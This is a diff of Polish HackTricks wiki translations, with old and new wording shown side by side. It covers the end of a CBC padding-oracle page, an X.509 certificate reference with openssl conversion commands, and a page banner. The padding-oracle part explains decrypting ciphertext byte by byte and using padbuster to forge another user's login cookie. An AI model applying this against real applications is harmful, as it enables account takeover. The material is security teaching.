Znalezienie E'7 pozwala **obliczyć I15**: `I15 = 0x01 ^ E'7`
|
||||
Znalezienie E'7 pozwala na **obliczenie I15**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Co pozwala nam **obliczyć C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Znając **C15**, teraz jest możliwe **obliczenie C14**, ale tym razem metodą brute-force dla dopełnienia `\x02\x02`.
|
||||
Znając **C15**, teraz możliwe jest **obliczenie C14**, ale tym razem brute-forcing paddingu `\x02\x02`.
|
||||
|
||||
Ten BF jest równie skomplikowany jak poprzedni, ponieważ możliwe jest obliczenie `E''15`, którego wartość to 0x02: `E''7 = \x02 ^ I15`, więc wystarczy znaleźć **`E'14`**, który generuje **`C14` równy `0x02`**.\
|
||||
Ten BF jest tak skomplikowany jak poprzedni, ponieważ możliwe jest obliczenie `E''15`, którego wartość to 0x02: `E''7 = \x02 ^ I15`, więc wystarczy znaleźć **`E'14`**, które generuje **`C14` równe `0x02`**.\
|
||||
Następnie wykonaj te same kroki, aby odszyfrować C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Podążaj tą ścieżką, aż odszyfrujesz cały zaszyfrowany tekst.**
|
||||
**Podążaj za tym łańcuchem, aż odszyfrujesz cały zaszyfrowany tekst.**
|
||||
|
||||
### Wykrywanie podatności
|
||||
|
||||
Zarejestruj konto i zaloguj się na to konto.\
|
||||
Jeśli **logujesz się wiele razy** i zawsze otrzymujesz **ten sam ciasteczko**, prawdopodobnie jest **coś nie tak** z aplikacją. Ciasteczko wysłane z powrotem powinno być unikalne za każdym razem, gdy się logujesz. Jeśli ciasteczko jest **zawsze** **takie samo**, prawdopodobnie zawsze będzie ono ważne i **nie będzie możliwe jego unieważnienie**.
|
||||
Zarejestruj się i zaloguj na to konto.\
|
||||
Jeśli **logujesz się wiele razy** i zawsze otrzymujesz **ten sam cookie**, prawdopodobnie jest **coś** **nie tak** w aplikacji. **Cookie wysyłane z powrotem powinno być unikalne** za każdym razem, gdy się logujesz. Jeśli cookie jest **zawsze** **takie samo**, prawdopodobnie zawsze będzie ważne i nie **będzie sposobu na unieważnienie go**.
|
||||
|
||||
Teraz, jeśli spróbujesz **zmodyfikować** ciasteczko, zobaczysz, że otrzymujesz **błąd** od aplikacji.\
|
||||
Ale jeśli użyjesz BF do dopełnienia (korzystając na przykład z padbuster), uda ci się uzyskać inne ciasteczko ważne dla innego użytkownika. Ten scenariusz jest bardzo prawdopodobnie podatny na padbuster.
|
||||
Teraz, jeśli spróbujesz **zmodyfikować** **cookie**, możesz zobaczyć, że otrzymujesz **błąd** z aplikacji.\
|
||||
Ale jeśli BF paddingu (używając padbuster na przykład), uda ci się uzyskać inne cookie ważne dla innego użytkownika. Ten scenariusz jest wysoce prawdopodobnie podatny na padbuster.
|
||||
|
||||
### Referencje
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,59 @@
|
|||
# Certyfikaty
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Co to jest Certyfikat
|
||||
## Czym jest certyfikat
|
||||
|
||||
**Certyfikat klucza publicznego** to cyfrowe ID używane w kryptografii do potwierdzenia, że ktoś jest właścicielem klucza publicznego. Zawiera szczegóły klucza, tożsamość właściciela (podmiotu) oraz cyfrowy podpis od zaufanego organu (wydawcy). Jeśli oprogramowanie ufa wydawcy i podpis jest ważny, możliwa jest bezpieczna komunikacja z właścicielem klucza.
|
||||
**Certyfikat klucza publicznego** to cyfrowy identyfikator używany w kryptografii do udowodnienia, że ktoś posiada klucz publiczny. Zawiera szczegóły klucza, tożsamość właściciela (temat) oraz podpis cyfrowy od zaufanej instytucji (wydawcy). Jeśli oprogramowanie ufa wydawcy, a podpis jest ważny, możliwa jest bezpieczna komunikacja z właścicielem klucza.
|
||||
|
||||
Certyfikaty są głównie wydawane przez [organizacje certyfikujące](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) w konfiguracji [infrastruktury klucza publicznego](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Inną metodą jest [sieć zaufania](https://en.wikipedia.org/wiki/Web\_of\_trust), gdzie użytkownicy bezpośrednio weryfikują klucze innych. Powszechnym formatem certyfikatów jest [X.509](https://en.wikipedia.org/wiki/X.509), który można dostosować do konkretnych potrzeb, zgodnie z RFC 5280.
|
||||
Certyfikaty są głównie wydawane przez [władze certyfikacyjne](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) w ramach [infrastruktury klucza publicznego](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Inną metodą jest [sieć zaufania](https://en.wikipedia.org/wiki/Web\_of\_trust), w której użytkownicy bezpośrednio weryfikują klucze innych. Powszechnym formatem certyfikatów jest [X.509](https://en.wikipedia.org/wiki/X.509), który można dostosować do specyficznych potrzeb, jak opisano w RFC 5280.
|
||||
|
||||
## Wspólne pola x509
|
||||
## x509 Wspólne pola
|
||||
|
||||
### **Wspólne pola w certyfikatach x509**
|
||||
|
||||
W certyfikatach x509 kilka **pól** odgrywa kluczową rolę w zapewnieniu ważności i bezpieczeństwa certyfikatu. Oto ich rozbudowa:
|
||||
W certyfikatach x509 kilka **pól** odgrywa kluczowe role w zapewnieniu ważności i bezpieczeństwa certyfikatu. Oto podział tych pól:
|
||||
|
||||
* **Numer wersji** oznacza wersję formatu x509.
|
||||
* **Numer seryjny** jednoznacznie identyfikuje certyfikat w systemie Organizacji Certyfikującej (CA), głównie do śledzenia unieważnień.
|
||||
* Pole **Podmiotu** reprezentuje właściciela certyfikatu, który może być maszyną, osobą fizyczną lub organizacją. Obejmuje szczegółowe identyfikatory, takie jak:
|
||||
* **Numer seryjny** unikalnie identyfikuje certyfikat w systemie Władzy Certyfikacyjnej (CA), głównie do śledzenia unieważnień.
|
||||
* Pole **Temat** reprezentuje właściciela certyfikatu, którym może być maszyna, osoba lub organizacja. Zawiera szczegółową identyfikację, taką jak:
|
||||
* **Nazwa wspólna (CN)**: Domeny objęte certyfikatem.
|
||||
* **Kraj (C)**, **Miejscowość (L)**, **Stan lub Prowincja (ST, S, lub P)**, **Organizacja (O)** i **Jednostka Organizacyjna (OU)** dostarczają informacje geograficzne i organizacyjne.
|
||||
* **Nazwa Wyróżniająca (DN)** zawiera pełną identyfikację podmiotu.
|
||||
* **Wydawca** określa, kto zweryfikował i podpisał certyfikat, zawierając podobne podpola jak Podmiot dla CA.
|
||||
* **Okres ważności** jest oznaczony znacznikami **Nie Przed** i **Nie Po**, zapewniając, że certyfikat nie jest używany przed lub po określonej dacie.
|
||||
* Sekcja **Klucza Publicznego**, istotna dla bezpieczeństwa certyfikatu, określa algorytm, rozmiar i inne techniczne szczegóły klucza publicznego.
|
||||
* **Rozszerzenia x509v3** zwiększają funkcjonalność certyfikatu, określając **Użycie Klucza**, **Rozszerzone Użycie Klucza**, **Alternatywną Nazwę Podmiotu** i inne właściwości do dostrojenia zastosowania certyfikatu.
|
||||
* **Kraj (C)**, **Lokalizacja (L)**, **Stan lub Prowincja (ST, S lub P)**, **Organizacja (O)** oraz **Jednostka organizacyjna (OU)** dostarczają szczegółów geograficznych i organizacyjnych.
|
||||
* **Wyróżniona nazwa (DN)** obejmuje pełną identyfikację tematu.
|
||||
* **Wydawca** podaje, kto zweryfikował i podpisał certyfikat, w tym podobne podpola jak w przypadku Tematu dla CA.
|
||||
* **Okres ważności** oznaczony jest znacznikami **Nie wcześniej niż** i **Nie później niż**, zapewniając, że certyfikat nie jest używany przed lub po określonej dacie.
|
||||
* Sekcja **Klucz publiczny**, kluczowa dla bezpieczeństwa certyfikatu, określa algorytm, rozmiar i inne szczegóły techniczne klucza publicznego.
|
||||
* **Rozszerzenia x509v3** zwiększają funkcjonalność certyfikatu, określając **Zastosowanie klucza**, **Rozszerzone zastosowanie klucza**, **Alternatywną nazwę tematu** i inne właściwości, aby dostosować zastosowanie certyfikatu.
|
||||
|
||||
#### **Użycie Klucza i Rozszerzenia**
|
||||
#### **Zastosowanie klucza i rozszerzenia**
|
||||
|
||||
* **Użycie Klucza** identyfikuje zastosowania kryptograficzne klucza publicznego, takie jak podpisywanie cyfrowe lub szyfrowanie klucza.
|
||||
* **Rozszerzone Użycie Klucza** dalszo zawęża przypadki użycia certyfikatu, np. do uwierzytelniania serwera TLS.
|
||||
* **Alternatywna Nazwa Podmiotu** i **Podstawowy Ograniczenie** definiują dodatkowe nazwy hostów objęte certyfikatem oraz czy jest to certyfikat CA czy jednostki końcowej.
|
||||
* Identyfikatory, takie jak **Identyfikator Klucza Podmiotu** i **Identyfikator Klucza Wydawcy**, zapewniają unikalność i możliwość śledzenia kluczy.
|
||||
* **Dostęp do Informacji o Wydawcy** i **Punkty Dystrybucji Listy Unieważnień (CRL)** zapewniają ścieżki do weryfikacji wydającego CA i sprawdzenia statusu unieważnienia certyfikatu.
|
||||
* **CT Precertificate SCTs** oferują dzienniki przejrzystości, istotne dla publicznego zaufania do certyfikatu.
|
||||
* **Zastosowanie klucza** identyfikuje kryptograficzne zastosowania klucza publicznego, takie jak podpis cyfrowy lub szyfrowanie klucza.
|
||||
* **Rozszerzone zastosowanie klucza** jeszcze bardziej zawęża przypadki użycia certyfikatu, np. do uwierzytelniania serwera TLS.
|
||||
* **Alternatywna nazwa tematu** i **Podstawowe ograniczenie** definiują dodatkowe nazwy hostów objęte certyfikatem oraz to, czy jest to certyfikat CA czy certyfikat końcowy.
|
||||
* Identyfikatory takie jak **Identyfikator klucza tematu** i **Identyfikator klucza autorytetu** zapewniają unikalność i możliwość śledzenia kluczy.
|
||||
* **Dostęp do informacji o autorytecie** i **Punkty dystrybucji CRL** dostarczają ścieżek do weryfikacji wydającej CA i sprawdzenia statusu unieważnienia certyfikatu.
|
||||
* **SCT certyfikatu CT** oferują dzienniki przejrzystości, kluczowe dla publicznego zaufania do certyfikatu.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -74,125 +75,125 @@ print(f"Issuer: {issuer}")
|
|||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Różnica między punktami dystrybucji OCSP a listami CRL**
|
||||
### **Różnica między OCSP a punktami dystrybucji CRL**
|
||||
|
||||
**OCSP** (**RFC 2560**) polega na współpracy klienta i respondera w celu sprawdzenia, czy certyfikat klucza publicznego został unieważniony, bez konieczności pobierania pełnej **CRL**. Ta metoda jest bardziej wydajna niż tradycyjna **CRL**, która zawiera listę unieważnionych numerów seryjnych certyfikatów, ale wymaga pobrania potencjalnie dużego pliku. CRL może zawierać do 512 wpisów. Więcej szczegółów dostępnych jest [tutaj](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
**OCSP** (**RFC 2560**) polega na współpracy klienta i respondenta w celu sprawdzenia, czy cyfrowy certyfikat klucza publicznego został unieważniony, bez potrzeby pobierania pełnej **CRL**. Ta metoda jest bardziej efektywna niż tradycyjna **CRL**, która dostarcza listę unieważnionych numerów seryjnych certyfikatów, ale wymaga pobrania potencjalnie dużego pliku. CRL mogą zawierać do 512 wpisów. Więcej szczegółów można znaleźć [tutaj](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
### **Co to jest Transparentność Certyfikatu**
|
||||
### **Czym jest przejrzystość certyfikatów**
|
||||
|
||||
Transparentność Certyfikatu pomaga zwalczać zagrożenia związane z certyfikatami, zapewniając, że wydanie i istnienie certyfikatów SSL są widoczne dla właścicieli domen, CA i użytkowników. Jej cele to:
|
||||
Przejrzystość certyfikatów pomaga w zwalczaniu zagrożeń związanych z certyfikatami, zapewniając, że wydanie i istnienie certyfikatów SSL są widoczne dla właścicieli domen, CAs i użytkowników. Jej cele to:
|
||||
|
||||
* Zapobieganie wydawaniu certyfikatów SSL dla domeny bez wiedzy właściciela domeny przez CA.
|
||||
* Ustanowienie otwartego systemu audytu do śledzenia błędnie lub złośliwie wydanych certyfikatów.
|
||||
* Zapobieganie CAs w wydawaniu certyfikatów SSL dla domeny bez wiedzy właściciela domeny.
|
||||
* Ustanowienie otwartego systemu audytowego do śledzenia błędnie lub złośliwie wydanych certyfikatów.
|
||||
* Ochrona użytkowników przed fałszywymi certyfikatami.
|
||||
|
||||
#### **Rejestry Certyfikatów**
|
||||
#### **Logi certyfikatów**
|
||||
|
||||
Rejestry certyfikatów są publicznie audytowalnymi, tylko do odczytu rekordami certyfikatów, utrzymywanymi przez usługi sieciowe. Te rejestry dostarczają dowodów kryptograficznych do celów audytu. Zarówno organy wydające certyfikaty, jak i publiczność, mogą przesyłać certyfikaty do tych rejestrów lub zapytać o ich weryfikację. Chociaż dokładna liczba serwerów rejestru nie jest ustalona, spodziewa się, że będzie ich mniej niż tysiąc na całym świecie. Te serwery mogą być niezależnie zarządzane przez CA, dostawców usług internetowych lub dowolną zainteresowaną jednostkę.
|
||||
Logi certyfikatów to publicznie audytowalne, tylko do dopisywania rejestry certyfikatów, prowadzone przez usługi sieciowe. Logi te dostarczają dowodów kryptograficznych do celów audytowych. Zarówno władze wydające, jak i publiczność mogą przesyłać certyfikaty do tych logów lub zapytywać je w celu weryfikacji. Chociaż dokładna liczba serwerów logów nie jest ustalona, oczekuje się, że będzie ich mniej niż tysiąc na całym świecie. Serwery te mogą być zarządzane niezależnie przez CAs, ISP lub jakąkolwiek zainteresowaną stronę.
|
||||
|
||||
#### **Zapytanie**
|
||||
|
||||
Aby sprawdzić rejestry Transparentności Certyfikatu dla dowolnej domeny, odwiedź [https://crt.sh/](https://crt.sh).
|
||||
Aby zbadać logi przejrzystości certyfikatów dla dowolnej domeny, odwiedź [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Istnieją różne formaty przechowywania certyfikatów, z których każdy ma swoje zastosowania i kompatybilność. To podsumowanie obejmuje główne formaty i dostarcza wskazówek dotyczących konwersji między nimi.
|
||||
|
||||
## **Formaty**
|
||||
|
||||
### **Format PEM**
|
||||
|
||||
* Najczęściej używany format certyfikatów.
|
||||
* Najczęściej używany format dla certyfikatów.
|
||||
* Wymaga oddzielnych plików dla certyfikatów i kluczy prywatnych, zakodowanych w Base64 ASCII.
|
||||
* Powszechne rozszerzenia: .cer, .crt, .pem, .key.
|
||||
* Głównie używany przez serwery Apache i podobne.
|
||||
* Głównie używany przez Apache i podobne serwery.
|
||||
|
||||
### **Format DER**
|
||||
|
||||
* Format binarny certyfikatów.
|
||||
* Brak instrukcji "BEGIN/END CERTIFICATE" znalezionych w plikach PEM.
|
||||
* Brak "BEGIN/END CERTIFICATE" znajdujących się w plikach PEM.
|
||||
* Powszechne rozszerzenia: .cer, .der.
|
||||
* Często używany w platformach Java.
|
||||
* Często używany z platformami Java.
|
||||
|
||||
### **Format P7B/PKCS#7**
|
||||
|
||||
* Przechowywany w Base64 ASCII, z rozszerzeniami .p7b lub .p7c.
|
||||
* Zawiera tylko certyfikaty i łańcuchy certyfikatów, pomijając klucz prywatny.
|
||||
* Obsługiwany przez systemy Microsoft Windows i Java Tomcat.
|
||||
* Zawiera tylko certyfikaty i certyfikaty łańcucha, wykluczając klucz prywatny.
|
||||
* Obsługiwany przez Microsoft Windows i Java Tomcat.
|
||||
|
||||
### **Format PFX/P12/PKCS#12**
|
||||
|
||||
* Format binarny, który łączy certyfikaty serwera, certyfikaty pośrednie i klucze prywatne w jednym pliku.
|
||||
* Format binarny, który kapsułkuje certyfikaty serwera, certyfikaty pośrednie i klucze prywatne w jednym pliku.
|
||||
* Rozszerzenia: .pfx, .p12.
|
||||
* Głównie używany w systemach Windows do importu i eksportu certyfikatów.
|
||||
* Głównie używany w systemie Windows do importu i eksportu certyfikatów.
|
||||
|
||||
### **Konwersje Formatów**
|
||||
### **Konwersja formatów**
|
||||
|
||||
**Konwersje PEM** są istotne dla kompatybilności:
|
||||
**Konwersje PEM** są niezbędne dla kompatybilności:
|
||||
|
||||
* **x509 do PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
* **PEM to DER**
|
||||
* **PEM na DER**
|
||||
* **PEM do DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
* **DER to PEM**
|
||||
* **DER na PEM**
|
||||
* **DER do PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
* **PEM to P7B**
|
||||
* **PEM na P7B**
|
||||
* **PEM do P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
* **PKCS7 to PEM**
|
||||
* **PKCS7 do PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**Konwersje PFX** są kluczowe dla zarządzania certyfikatami w systemie Windows:
|
||||
|
||||
* **PFX na PEM**
|
||||
* **PFX do PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
* **PFX do PKCS#8** wymaga wykonania dwóch kroków:
|
||||
1. Konwersja PFX do PEM
|
||||
* **PFX do PKCS#8** obejmuje dwa kroki:
|
||||
1. Konwersja PFX na PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Konwertowanie PEM na PKCS8
|
||||
2. Konwertuj PEM na PKCS8
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7B do PFX** wymaga również dwóch poleceń:
|
||||
1. Konwertuj P7B do CER
|
||||
1. Konwertuj P7B na CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Konwertowanie plików CER i klucza prywatnego na PFX
|
||||
2. Konwertuj CER i klucz prywatny na PFX
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
